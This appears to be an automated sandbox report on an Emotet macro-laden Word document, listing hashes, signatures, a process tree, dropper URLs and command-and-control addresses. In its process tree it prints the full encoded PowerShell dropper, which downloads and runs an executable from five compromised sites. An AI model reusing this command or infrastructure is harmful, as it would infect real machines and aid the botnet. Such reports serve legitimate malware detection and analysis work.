Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    29-07-2020 03:09

General

  • Target

    emotet_e1_915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3_2020-07-29__030915._doc.doc

  • Size

    171KB

  • MD5

    431210cc4c663348d52f4e9bf0de9d28

  • SHA1

    53006e42e872aa0c6aeacdef15573da8ec467d2c

  • SHA256

    915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3

  • SHA512

    3d4883bb32b0b539b988bc362c700d5e30e1575a288e6c6dce7a1e5bc959a193b4a365618ed1d4133aa7f811c59a37ba61e4ada4b28a46747fa26bd1b5c10d9e

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://arizonaonsale.com/cgi-bin/VuM64/

exe.dropper

https://www.compednet.com/wp-content/Nv55027/

exe.dropper

http://eltallerartistico.com/language/Uybj0/

exe.dropper

http://classicpaint.net/wp-content/tVS1/

exe.dropper

http://closhlab.com/OWN/lUvYIzLMa/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3_2020-07-29__030915._doc.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:3828
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:3768
  • C:\Users\Admin\45.exe
    C:\Users\Admin\45.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:952
    • C:\Windows\SysWOW64\msyuv\wlanpref.exe
      "C:\Windows\SysWOW64\msyuv\wlanpref.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1448

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\45.exe

  • C:\Users\Admin\45.exe

  • C:\Windows\SysWOW64\msyuv\wlanpref.exe

  • memory/952-8-0x0000000000670000-0x000000000067C000-memory.dmp

    Filesize

    48KB

  • memory/1448-9-0x0000000000000000-mapping.dmp

  • memory/1448-11-0x0000000000630000-0x000000000063C000-memory.dmp

    Filesize

    48KB

  • memory/3828-0-0x0000018BEEC56000-0x0000018BEEC5B000-memory.dmp

    Filesize

    20KB

  • memory/3828-1-0x0000018BEEE44000-0x0000018BEEE49000-memory.dmp

    Filesize

    20KB

  • memory/3828-2-0x0000018BEEC56000-0x0000018BEEC5B000-memory.dmp

    Filesize

    20KB

  • memory/3828-3-0x0000018BEC8A2000-0x0000018BEC8A7000-memory.dmp

    Filesize

    20KB

  • memory/3828-4-0x0000018BEEE42000-0x0000018BEEE44000-memory.dmp

    Filesize

    8KB

  • memory/3828-5-0x0000018BEEE42000-0x0000018BEEE44000-memory.dmp

    Filesize

    8KB